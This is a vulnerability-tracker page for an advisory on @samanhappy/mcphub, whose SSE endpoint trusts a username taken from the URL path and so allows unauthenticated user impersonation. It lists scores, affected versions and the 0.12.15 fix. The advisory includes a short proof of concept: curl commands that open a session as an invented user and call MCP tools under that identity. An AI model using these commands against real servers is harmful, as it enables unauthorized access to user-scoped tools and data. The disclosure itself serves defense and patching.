GHSA-wf8q-wvv8-p8jf: @samanhappy/mcphub: SSE Endpoint Accepts Arbitrary Username from URL Path Without Authentication, Enabling User Impersonation
Noroxi assessment
Priority: Monitor (action score 36/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: @samanhappy/mcphub (npm) 0.12.15.
Low priority for now. Upgrade to @samanhappy/mcphub (npm) 0.12.15 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary A critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user — including administrators — on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment. ### Details MCPHub provides user-scoped SSE endpoints at the path `/:user/sse/:group`. The `sseUserContextMiddleware` in `src/middlewares/userContext.ts` (lines 42–75) extracts the username from `req.params.user` and constructs a fabricated `IUser` object directly, bypassing all authentication: ```typescript export const sseUserContextMiddleware = async ( req: Request, res: Response, next: NextFunction, ): Promise<void> => { const userContextService = UserContextService.getInstance(); const username = req.params.user; // ← Taken directly from URL, no validation whatsoever if (username) { // Note: In a real implementation, you should validate the user exists // and has proper permissions const user: IUser = { username, // ← Completely attacker-controlled password: '', isAdmin: false, // TODO: Should be retrieved from user database }; userContextService.setCurrentUser(user); // ← Fabricated identity is accepted as real attachCleanupHandlers(); console.log(`User context set for SSE/MCP endpoint: ${username}`); next(); } // ... }; ``` The SSE routes in `src/server.ts` (lines 132–161) apply only rate limiting and this context middleware — there is no authentication middleware in the chain: ```typescript // User-scoped routes with user context middleware this.app.get( `${this.basePath}/:user/sse/:group(.*)?`, mcpConnectionRateLimiter, // Only rate limiting sseUserContextMiddleware, // Identity from URL — no auth (req, res) => handleSseConnection(req, res), ); ``` Additionally, `UserContextService` is a **singleton** that stores the current user in a single instance variable. Under concurrent connections, one user's context can silently overwrite another's, creating a secondary race condition vulnerability (CWE-362). ### PoC **Prerequisites:** A running MCPHub instance with `enableBearerAuth: false` (or bearer keys not configured). **Step 1 — Connect to the SSE endpoint as any arbitrary user:** ```bash curl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sse ``` Expected response — a valid SSE session is created: ``` event: endpoint data: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 ``` **Step 2 — Verify on the server side (server logs):** ``` [INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated [INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages [INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonated ``` The server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated. **Step 3 — Execute MCP tool calls under the spoofed identity:** Once the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user's context: ```bash curl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"any-tool","arguments":{}}}' ``` ### Impact This is a **user identity spoofing** vulnerability on the MCP transport layer. Any unauthenticated network user can: - **Impersonate any user**, including administrators, on SSE/MCP endpoints - **Execute MCP tool calls** under a spoofed user's identity, potentially accessing user-scoped resources and data - **Poison audit logs** — all actions are recorded under the fabricated username, destroying accountability and forensic value - **Access user-scoped servers and groups** that should only be available to authenticated users All MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up. Reported by the Eresus Security Research Team.
- Published
- May 14, 2026
- Updated
- May 14, 2026
- EPSS
- —
- CWE
- CWE-290
Report tools
Action score
36
Low priority for now.
- CVSS
- 36 / 40 · 9.1 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| npm | @samanhappy/mcphub | pkg:npm/%40samanhappy/mcphub |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| npm | @samanhappy/mcphub | before 0.12.15 | 0.12.15 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| npm:@samanhappy/mcphub | 0.12.15 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- none
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- None
Weakness class (CWE)
CWE-290 · Authentication Bypass by SpoofingCVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Exploitation of Trusted IdentifiersCAPEC-21likelihood: High · High
- Exploiting Trust in ClientCAPEC-22likelihood: High · High
- Creating a Rogue Certification Authority CertificateCAPEC-459likelihood: Medium · Very High
- Web Services API Signature Forgery Leveraging Hash Function Extension WeaknessCAPEC-461High
- Signature SpoofCAPEC-473
- Signature Spoofing by MisrepresentationCAPEC-476likelihood: Low · High
- Session Credential Falsification through PredictionCAPEC-59likelihood: High · High
- Reusing Session IDs (aka Session Replay)CAPEC-60likelihood: High · High
ATT&CK techniques
- Masquerading: Invalid Code SignatureT1036.001
- Access Token ManipulationT1134
- Access Token Manipulation:Token Impersonation/TheftT1134.001
- Steal Application Access TokenT1528
- Steal Web Session CookieT1539
- Use Alternate Authentication Material:Web Session CookieT1550.004
- Subvert Trust Controls: Code SigningT1553.002
- Adversary-in-the-MiddleT1557
Change log (1)
- Fix✗ → ✓
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References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.